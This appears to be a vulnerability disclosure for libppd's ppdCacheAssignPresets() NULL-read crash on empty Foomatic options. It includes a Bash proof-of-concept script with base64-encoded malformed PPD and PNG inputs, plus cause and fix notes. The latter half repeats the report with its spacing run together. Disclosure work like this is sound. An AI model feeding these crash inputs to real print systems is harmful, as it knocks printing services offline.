Summary
ppdCacheAssignPresets() handles Foomatic composite options by reading the
first option choice without verifying that one exists. A 17-line PPD whose
nickname contains Foomatic and whose OpenUI block has no choices causes a
near-NULL read.
Validated libppd source:
- tested build:
522af8dd135f4dde66b1aac8b9d067808bbe122d
- current upstream HEAD:
fc41539f761286396a7df8aeeda762070192e37e
The relevant ppd/ppd-cache.c is byte-identical at both revisions.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.
poc/printer.ppd, SHA-256
c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d,
contains one empty AuditEmpty option. Run ./reproduce.sh; the PNG is a
normal document used only to drive the standalone wrapper.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: libppd: an empty Foomatic option dereferences choices[0]
# Finding ID: libppd-foomatic-empty-option-null-dereference
# Trigger: ppdCacheAssignPresets() handles Foomatic composite options by
# reading the first option choice without verifying that one exists. A 17-line
# PPD whose nickname contains Foomatic and whose OpenUI block has no choices
# causes a near-NULL read.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (513 bytes)
write_file printer.ppd c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3WQzW7CMBCE73kKixNEIoTSU24IEgmJn0goPXBzHSdYdXYtx65anr7rUDVVRW+r
b8bj3YnLcjtf1/gqMzZ5TlaTKC7Qdty9SNsrhJEqLUe2TFJiew6t5+3Ic2i16q+jkoPAWkGbsd35
tOdOwTKKDxx8w4XzVlrKOhkJpVVAYkuhB6ylPvIuLNTLjhMXrECknWgwwSgt+c5XtO6oxNtfb+Nv
N9IfSQ9iyk247NtYVJdLQo0EbrH2whGc/vt8FnznsZXpKl2mMxaqEd70P8JTkt4JfeWGm7kxWgnK
Qli8Q50EcW55TypL2X1waIT+oKxQULVj8drXyuWdcZ+LYWTDnLGSLj2BjOKtbLjXbvRlrLDYldxK
cFG80djLapf9Toq+AFVSBFwBAgAA
POC_PAYLOAD_1
Result
The ASan build aborts in strncmp from ppdCacheAssignPresets() at
ppd-cache.c:2484. The uninstrumented imagetops process exits 139 before
writing PostScript.
The PPD controls whether the empty option exists, but the observed address is
fixed near NULL. No controlled write, data disclosure, or control-flow
primitive was found. The demonstrated impact is queue-configuration-triggered
denial of service.
Cause and expected behavior
The Foomatic path evaluates option->choices[0].choice at lines 2484-2485
without requiring option->num_choices > 0 or a non-NULL choices array.
Empty options should be rejected while loading the PPD or skipped before the
preset assignment algorithm accesses the first choice.
Summary
ppdCacheAssignPresets()handles Foomatic composite options by reading thefirst option choice without verifying that one exists. A 17-line PPD whose
nickname contains
Foomaticand whoseOpenUIblock has no choices causes anear-NULL read.
Validated libppd source:
522af8dd135f4dde66b1aac8b9d067808bbe122dfc41539f761286396a7df8aeeda762070192e37eThe relevant
ppd/ppd-cache.cis byte-identical at both revisions.Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/libppd
fc41539f761286396a7df8aeeda762070192e37e.poc/printer.ppd, SHA-256c0d1a93baf7748e1307fdb12d7543ecbb05ae73a230276ec95b70082daa6767d,contains one empty
AuditEmptyoption. Run./reproduce.sh; the PNG is anormal document used only to drive the standalone wrapper.
The following commented Bash script constructs the exact PoC and control
inputs. Save it as
make_poc.sh, then runbash make_poc.sh poc.Result
The ASan build aborts in
strncmpfromppdCacheAssignPresets()atppd-cache.c:2484. The uninstrumentedimagetopsprocess exits 139 beforewriting PostScript.
The PPD controls whether the empty option exists, but the observed address is
fixed near NULL. No controlled write, data disclosure, or control-flow
primitive was found. The demonstrated impact is queue-configuration-triggered
denial of service.
Cause and expected behavior
The Foomatic path evaluates
option->choices[0].choiceat lines 2484-2485without requiring
option->num_choices > 0or a non-NULLchoicesarray.Empty options should be rejected while loading the PPD or skipped before the
preset assignment algorithm accesses the first choice.